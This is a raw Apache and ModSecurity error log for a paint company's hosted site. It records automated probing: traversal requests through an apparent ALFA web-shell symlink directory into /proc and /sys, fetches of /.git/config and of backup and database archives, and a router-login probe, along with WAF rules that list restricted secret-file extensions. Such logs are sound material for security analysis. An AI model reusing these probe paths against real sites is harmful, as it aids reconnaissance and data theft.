[Sun Oct 25 09:38:26.186337 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 54.197.82.195:57850] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event4/subsystem/input0/event0/device/device/subsystem/devices/device:20/eject
[Sun Oct 25 09:38:34.149547 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 54.92.171.106:57370] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:38:38.149802 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 34.227.234.246:14060] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:38:42.256686 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 3.225.45.252:63441] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:39:06.137154 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.224.215.150:7212] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:39:10.137748 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 34.194.233.48:15621] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:39:14.136021 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 54.152.163.42:8430] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:39:18.222586 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 34.203.111.15:25738] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/ohci-pci/uevent
[Sun Oct 25 09:39:22.528174 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 85.208.96.195:12366] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:39:26.163719 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 18.215.112.101:24695] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:39:34.116928 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 52.204.71.8:9616] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:39:42.140500 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 52.5.232.250:25357] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:39:46.140844 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 18.205.91.101:59180] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:39:50.160823 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 54.225.181.161:32157] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:40:00.036268 2026] [security2:error] [pid 2834025:tid 2834025] [client 85.208.96.194:46530] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/pl/index.db"] [unique_id "at4GsKGxe7V6jzF5H8VMpQAAABg"]
[Sun Oct 25 09:40:00.036673 2026] [security2:error] [pid 2834025:tid 2834025] [client 85.208.96.194:46530] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/pl/index.db"] [unique_id "at4GsKGxe7V6jzF5H8VMpQAAABg"]
[Sun Oct 25 09:40:00.037037 2026] [security2:error] [pid 2834025:tid 2834025] [client 85.208.96.194:46530] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/pl/index.db"] [unique_id "at4GsKGxe7V6jzF5H8VMpQAAABg"]
[Sun Oct 25 09:40:18.147783 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 23.21.227.240:59131] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/dw_dmac_pci/new_id
[Sun Oct 25 09:40:26.206116 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 18.213.27.222:49490] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:40:36.393954 2026] [security2:error] [pid 2821699:tid 2821699] [client 85.11.167.162:41742] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4G1JBSQk9YSmLuOvuQ5gAAAAM"]
[Sun Oct 25 09:40:36.394210 2026] [security2:error] [pid 2821699:tid 2821699] [client 85.11.167.162:41742] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4G1JBSQk9YSmLuOvuQ5gAAAAM"]
[Sun Oct 25 09:40:36.394525 2026] [security2:error] [pid 2821699:tid 2821699] [client 85.11.167.162:41742] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4G1JBSQk9YSmLuOvuQ5gAAAAM"]
[Sun Oct 25 09:40:37.480009 2026] [security2:error] [pid 2826774:tid 2826774] [client 85.11.167.162:41752] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4G1fWU2HQBncZeY47EVAAAAAQ"]
[Sun Oct 25 09:40:37.480293 2026] [security2:error] [pid 2826774:tid 2826774] [client 85.11.167.162:41752] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4G1fWU2HQBncZeY47EVAAAAAQ"]
[Sun Oct 25 09:40:37.480604 2026] [security2:error] [pid 2826774:tid 2826774] [client 85.11.167.162:41752] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4G1fWU2HQBncZeY47EVAAAAAQ"]
[Sun Oct 25 09:40:42.125125 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 98.84.60.17:45585] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:41:02.176037 2026] [core:error] [pid 2834020:tid 2834020] (13)Permission denied: [client 35.169.119.108:5222] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/memory10/node0/cpu1/firmware_node/physical_node/subsystem/drivers/processor/uevent
[Sun Oct 25 09:41:06.181707 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 18.233.24.238:14067] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:09/subsystem/devices/device:06/physical_node/driver/0000:00:05.0/resource0
[Sun Oct 25 09:41:22.456766 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 54.85.126.86:12974] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:41:34.216667 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 184.73.68.20:27987] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:41:42.200624 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 34.194.14.255:59867] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:41:46.374121 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 3.219.81.66:17133] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:41:54.673001 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 3.212.86.97:41195] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:42:02.249614 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 52.204.37.237:7325] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:42:10.263546 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 34.225.243.131:14811] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:42:24.714749 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 85.208.96.198:40706] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-192/total_objects
[Sun Oct 25 09:42:30.251935 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 54.197.82.195:31107] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:42:38.409493 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 18.213.70.100:37142] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:42:42.358817 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 52.200.58.199:35562] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:42:46.327627 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 52.23.112.144:18053] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:42:52.906676 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 85.208.96.195:26628] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hashtab_node/total_objects
[Sun Oct 25 09:42:54.400859 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 3.219.80.71:47724] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:43:02.118433 2026] [security2:error] [pid 2815602:tid 2815602] [client 43.173.1.69:45080] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at4HZty-_GHm1dX7tKN5dgAAABA"]
[Sun Oct 25 09:43:02.563580 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 18.233.24.238:19029] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:43:12.958368 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 23.21.148.226:17479] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:43:34.350348 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 98.84.200.43:22765] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:43:34.647400 2026] [core:error] [pid 2834008:tid 2834008] (13)Permission denied: [client 85.208.96.195:13636] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-16/aliases
[Sun Oct 25 09:43:42.370988 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 18.205.127.11:36143] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:43:46.367712 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 52.202.233.37:19875] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:43:50.557317 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 98.82.38.120:36857] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:43:54.345798 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 98.83.177.42:39961] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:43:57.920231 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 85.208.96.202:57962] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mm_struct/objects
[Sun Oct 25 09:44:02.645587 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 52.204.253.129:58873] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:44:06.589365 2026] [core:error] [pid 2834020:tid 2834020] (13)Permission denied: [client 85.208.96.195:45736] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-16/alloc_calls
[Sun Oct 25 09:44:10.466163 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 98.82.66.172:55185] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:44:14.497616 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 44.213.202.136:45437] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:44:22.460924 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.235.125.129:58020] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:44:30.393436 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 34.197.28.78:29980] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:44:33.217746 2026] [security2:error] [pid 2834020:tid 2834020] [client 221.202.176.85:58008] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "server.sherwinpinturas.com"] [uri "/boaform/admin/formLogin"] [unique_id "at4HwRus_mjnPB8X3pG9ygAAABI"]
[Sun Oct 25 09:44:38.551412 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 18.207.89.138:20912] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/driver/new_id
[Sun Oct 25 09:44:58.500042 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 100.29.128.75:27939] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:45:02.720252 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 54.84.147.79:23056] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:45:07.414469 2026] [ssl:error] [pid 2815605:tid 2815605] (5)Input/output error: [client 18.208.11.93:7460] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:45:13.322193 2026] [core:error] [pid 2834019:tid 2834019] [client 34.77.146.232:54196] AH00135: Invalid method in request BDMN / HTTP/1.1
[Sun Oct 25 09:45:14.500175 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 44.205.74.196:38397] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:45:18.523559 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 18.215.49.176:17367] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:45:19.325713 2026] [security2:error] [pid 2815605:tid 2815605] [client 45.138.12.78:50666] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/log.zip"] [unique_id "at4H7wYPMfHr0EMMDlnnkwAAABM"]
[Sun Oct 25 09:45:19.325789 2026] [security2:error] [pid 2815605:tid 2815605] [client 45.138.12.78:50666] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/log.zip"] [unique_id "at4H7wYPMfHr0EMMDlnnkwAAABM"]
[Sun Oct 25 09:45:19.522350 2026] [security2:error] [pid 2834020:tid 2834020] [client 45.138.12.78:50600] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/experimental.zip"] [unique_id "at4H7xus_mjnPB8X3pG90AAAABI"]
[Sun Oct 25 09:45:19.522403 2026] [security2:error] [pid 2834020:tid 2834020] [client 45.138.12.78:50600] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/experimental.zip"] [unique_id "at4H7xus_mjnPB8X3pG90AAAABI"]
[Sun Oct 25 09:45:20.783843 2026] [security2:error] [pid 2815602:tid 2815602] [client 45.138.12.78:51462] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/2025_backup.zip"] [unique_id "at4H8Ny-_GHm1dX7tKN5jAAAABA"]
[Sun Oct 25 09:45:20.783897 2026] [security2:error] [pid 2815602:tid 2815602] [client 45.138.12.78:51462] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/2025_backup.zip"] [unique_id "at4H8Ny-_GHm1dX7tKN5jAAAABA"]
[Sun Oct 25 09:45:20.830775 2026] [security2:error] [pid 2815602:tid 2815602] [client 45.138.12.78:51578] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/archives.zip"] [unique_id "at4H8Ny-_GHm1dX7tKN5lAAAABA"]
[Sun Oct 25 09:45:20.830800 2026] [security2:error] [pid 2815602:tid 2815602] [client 45.138.12.78:51578] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/archives.zip"] [unique_id "at4H8Ny-_GHm1dX7tKN5lAAAABA"]
[Sun Oct 25 09:45:20.841339 2026] [security2:error] [pid 2821699:tid 2821699] [client 45.138.12.78:52374] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/wordpress-full.zip"] [unique_id "at4H8JBSQk9YSmLuOvuRDAAAAAM"]
[Sun Oct 25 09:45:20.841382 2026] [security2:error] [pid 2821699:tid 2821699] [client 45.138.12.78:52374] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/wordpress-full.zip"] [unique_id "at4H8JBSQk9YSmLuOvuRDAAAAAM"]
[Sun Oct 25 09:45:20.988641 2026] [security2:error] [pid 2834006:tid 2834006] [client 45.138.12.78:52104] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/backup_9.zip"] [unique_id "at4H8BD7bhykmI5PXOwDhQAAAAo"]
[Sun Oct 25 09:45:20.988686 2026] [security2:error] [pid 2834006:tid 2834006] [client 45.138.12.78:52104] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/backup_9.zip"] [unique_id "at4H8BD7bhykmI5PXOwDhQAAAAo"]
[Sun Oct 25 09:45:21.009453 2026] [security2:error] [pid 2842301:tid 2842301] [client 45.138.12.78:52744] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/final_backup.zip"] [unique_id "at4H8bAXYX-KZxBobEnQuwAAAAI"]
[Sun Oct 25 09:45:21.009647 2026] [security2:error] [pid 2842301:tid 2842301] [client 45.138.12.78:52744] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/final_backup.zip"] [unique_id "at4H8bAXYX-KZxBobEnQuwAAAAI"]
[Sun Oct 25 09:45:21.016048 2026] [security2:error] [pid 2842299:tid 2842299] [client 45.138.12.78:52976] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/error_logs.zip"] [unique_id "at4H8aM5IB7BUfTv7Hn0fwAAAAA"]
[Sun Oct 25 09:45:21.016094 2026] [security2:error] [pid 2842299:tid 2842299] [client 45.138.12.78:52976] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/error_logs.zip"] [unique_id "at4H8aM5IB7BUfTv7Hn0fwAAAAA"]
[Sun Oct 25 09:45:21.018116 2026] [security2:error] [pid 2834006:tid 2834006] [client 45.138.12.78:52800] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/final_release.zip"] [unique_id "at4H8RD7bhykmI5PXOwDjAAAAAo"]
[Sun Oct 25 09:45:21.018138 2026] [security2:error] [pid 2834006:tid 2834006] [client 45.138.12.78:52800] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/final_release.zip"] [unique_id "at4H8RD7bhykmI5PXOwDjAAAAAo"]
[Sun Oct 25 09:45:21.030750 2026] [security2:error] [pid 2834008:tid 2834008] [client 45.138.12.78:53348] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/db_export.zip"] [unique_id "at4H8YxkYfnWL-SU_mhrBgAAAA0"]
[Sun Oct 25 09:45:21.030782 2026] [security2:error] [pid 2834008:tid 2834008] [client 45.138.12.78:53348] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/db_export.zip"] [unique_id "at4H8YxkYfnWL-SU_mhrBgAAAA0"]
[Sun Oct 25 09:45:21.034509 2026] [security2:error] [pid 2834019:tid 2834019] [client 45.138.12.78:53498] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/static.zip"] [unique_id "at4H8Usgp-xlBP1GcWOR5gAAABE"]
[Sun Oct 25 09:45:21.034544 2026] [security2:error] [pid 2834019:tid 2834019] [client 45.138.12.78:53498] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/static.zip"] [unique_id "at4H8Usgp-xlBP1GcWOR5gAAABE"]
[Sun Oct 25 09:45:21.045148 2026] [security2:error] [pid 2815602:tid 2815602] [client 45.138.12.78:53878] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/db.zip"] [unique_id "at4H8dy-_GHm1dX7tKN5pwAAABA"]
[Sun Oct 25 09:45:21.045171 2026] [security2:error] [pid 2815602:tid 2815602] [client 45.138.12.78:53878] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/db.zip"] [unique_id "at4H8dy-_GHm1dX7tKN5pwAAABA"]
[Sun Oct 25 09:45:21.115084 2026] [security2:error] [pid 2815605:tid 2815605] [client 45.138.12.78:55406] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/dec.zip"] [unique_id "at4H8QYPMfHr0EMMDlnn0gAAABM"]
[Sun Oct 25 09:45:21.115111 2026] [security2:error] [pid 2815605:tid 2815605] [client 45.138.12.78:55406] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/dec.zip"] [unique_id "at4H8QYPMfHr0EMMDlnn0gAAABM"]
[Sun Oct 25 09:45:34.860913 2026] [ssl:error] [pid 2842301:tid 2842301] (70014)End of file found: [client 23.23.212.212:38638] AH02013: coalesce failed to read from data bucket
